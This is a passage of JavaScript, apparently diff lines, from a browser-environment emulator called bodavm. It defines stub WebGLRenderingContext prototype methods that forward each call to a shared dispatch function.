arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteShader", {configurable:true, enumerable:true, writable:true, value:function deleteShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteTexture", {configurable:true, enumerable:true, writable:true, value:function deleteTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthFunc", {configurable:true, enumerable:true, writable:true, value:function depthFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthMask", {configurable:true, enumerable:true, writable:true, value:function depthMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthRange", {configurable:true, enumerable:true, writable:true, value:function depthRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "detachShader", {configurable:true, enumerable:true, writable:true, value:function detachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "detachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disable", {configurable:true, enumerable:true, writable:true, value:function disable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enable", {configurable:true, enumerable:true, writable:true, value:function enable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "finish", {configurable:true, enumerable:true, writable:true, value:function finish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "finish", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function framebufferRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferTexture2D", {configurable:true, enumerable:true, writable:true, value:function framebufferTexture2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferTexture2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "frontFace", {configurable:true, enumerable:true, writable:true, value:function frontFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "frontFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "generateMipmap", {configurable:true, enumerable:true, writable:true, value:function generateMipmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "generateMipmap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveAttrib", {configurable:true, enumerable:true, writable:true, value:function getActiveAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveUniform", {configurable:true, enumerable:true, writable:true, value:function getActiveUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttachedShaders", {configurable:true, enumerable:true, writable:true, value:function getAttachedShaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttachedShaders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttribLocation", {configurable:true, enumerable:true, writable:true, value:function getAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getBufferParameter", {configurable:true, enumerable:true, writable:true, value:function getBufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getBufferParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getContextAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getError", {configurable:true, enumerable:true, writable:true, value:function getError (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getError", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getExtension", {configurable:true, enumerable:true, writable:true, value:function getExtension (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getExtension", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getFramebufferAttachmentParameter", {configurable:true, enumerable:true, writable:true, value:function getFramebufferAttachmentParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getFramebufferAttachmentParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getParameter", {configurable:true, enumerable:true, writable:true, value:function getParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramInfoLog", {configurable:true, enumerable:true, writable:true, value:function getProgramInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramParameter", {configurable:true, enumerable:true, writable:true, value:function getProgramParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getRenderbufferParameter", {configurable:true, enumerable:true, writable:true, value:function getRenderbufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getRenderbufferParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderInfoLog", {configurable:true, enumerable:true, writable:true, value:function getShaderInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderParameter", {configurable:true, enumerable:true, writable:true, value:function getShaderParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderPrecisionFormat", {configurable:true, enumerable:true, writable:true, value:function getShaderPrecisionFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderPrecisionFormat", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderSource", {configurable:true, enumerable:true, writable:true, value:function getShaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getSupportedExtensions", {configurable:true, enumerable:true, writable:true, value:function getSupportedExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getSupportedExtensions", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getTexParameter", {configurable:true, enumerable:true, writable:true, value:function getTexParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getTexParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniform", {configurable:true, enumerable:true, writable:true, value:function getUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniformLocation", {configurable:true, enumerable:true, writable:true, value:function getUniformLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniformLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttrib", {configurable:true, enumerable:true, writable:true, value:function getVertexAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttribOffset", {configurable:true, enumerable:true, writable:true, value:function getVertexAttribOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttribOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "hint", {configurable:true, enumerable:true, writable:true, value:function hint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "hint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isBuffer", {configurable:true, enumerable:true, writable:true, value:function isBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isEnabled", {configurable:true, enumerable:true, writable:true, value:function isEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isEnabled", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isFramebuffer", {configurable:true, enumerable:true, writable:true, value:function isFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isProgram", {configurable:true, enumerable:true, writable:true, value:function isProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function isRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isShader", {configurable:true, enumerable:true, writable:true, value:function isShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isTexture", {configurable:true, enumerable:true, writable:true, value:function isTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "lineWidth", {configurable:true, enumerable:true, writable:true, value:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "lineWidth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "linkProgram", {configurable:true, enumerable:true, writable:true, value:function linkProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "linkProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "pixelStorei", {configurable:true, enumerable:true, writable:true, value:function pixelStorei (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "pixelStorei", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "polygonOffset", {configurable:true, enumerable:true, writable:true, value:function polygonOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "polygonOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "readPixels", {configurable:true, enumerable:true, writable:true, value:function readPixels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "readPixels", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "renderbufferStorage", {configurable:true, enumerable:true, writable:true, value:function renderbufferStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "renderbufferStorage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "sampleCoverage", {configurable:true, enumerable:true, writable:true, value:function sampleCoverage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "sampleCoverage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "shaderSource", {configurable:true, enumerable:true, writable:true, value:function shaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "shaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFunc", {configurable:true, enumerable:true, writable:true, value:function stencilFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMask", {configurable:true, enumerable:true, writable:true, value:function stencilMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMaskSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilMaskSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMaskSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOp", {configurable:true, enumerable:true, writable:true, value:function stencilOp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOpSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilOpSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOpSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texImage2D", {configurable:true, enumerable:true, writable:true, value:function texImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameterf", {configurable:true, enumerable:true, writable:true, value:function texParameterf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameterf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameteri", {configurable:true, enumerable:true, writable:true, value:function texParameteri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameteri", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texSubImage2D", {configurable:true, enumerable:true, writable:true, value:function texSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "useProgram", {configurable:true, enumerable:true, writable:true, value:function useProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "useProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "validateProgram", {configurable:true, enumerable:true, writable:true, value:function validateProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "validateProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindBuffer", {configurable:true, enumerable:true, writable:true, value:function bindBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindFramebuffer", {configurable:true, enumerable:true, writable:true, value:function bindFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindTexture", {configurable:true, enumerable:true, writable:true, value:function bindTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearColor", {configurable:true, enumerable:true, writable:true, value:function clearColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearDepth", {configurable:true, enumerable:true, writable:true, value:function clearDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearDepth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearStencil", {configurable:true, enumerable:true, writable:true, value:function clearStencil (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearStencil", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "colorMask", {configurable:true, enumerable:true, writable:true, value:function colorMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "colorMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function disableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawArrays", {configurable:true, enumerable:true, writable:true, value:function drawArrays (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawArrays", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawElements", {configurable:true, enumerable:true, writable:true, value:function drawElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function enableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "scissor", {configurable:true, enumerable:true, writable:true, value:function scissor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "scissor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1f", {configurable:true, enumerable:true, writable:true, value:function uniform1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1fv", {configurable:true, enumerable:true, writable:true, value:function uniform1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1i", {configurable:true, enumerable:true, writable:true, value:function uniform1i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1iv", {configurable:true, enumerable:true, writable:true, value:function uniform1iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2f", {configurable:true, enumerable:true, writable:true, value:function uniform2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2fv", {configurable:true, enumerable:true, writable:true, value:function uniform2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2i", {configurable:true, enumerable:true, writable:true, value:function uniform2i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2iv", {configurable:true, enumerable:true, writable:true, value:function uniform2iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3f", {configurable:true, enumerable:true, writable:true, value:function uniform3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3fv", {configurable:true, enumerable:true, writable:true, value:function uniform3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3i", {configurable:true, enumerable:true, writable:true, value:function uniform3i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3iv", {configurable:true, enumerable:true, writable:true, value:function uniform3iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4f", {configurable:true, enumerable:true, writable:true, value:function uniform4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4fv", {configurable:true, enumerable:true, writable:true, value:function uniform4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4i", {configurable:true, enumerable:true, writable:true, value:function uniform4i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4iv", {configurable:true, enumerable:true, writable:true, value:function uniform4iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2f", {configurable:true, 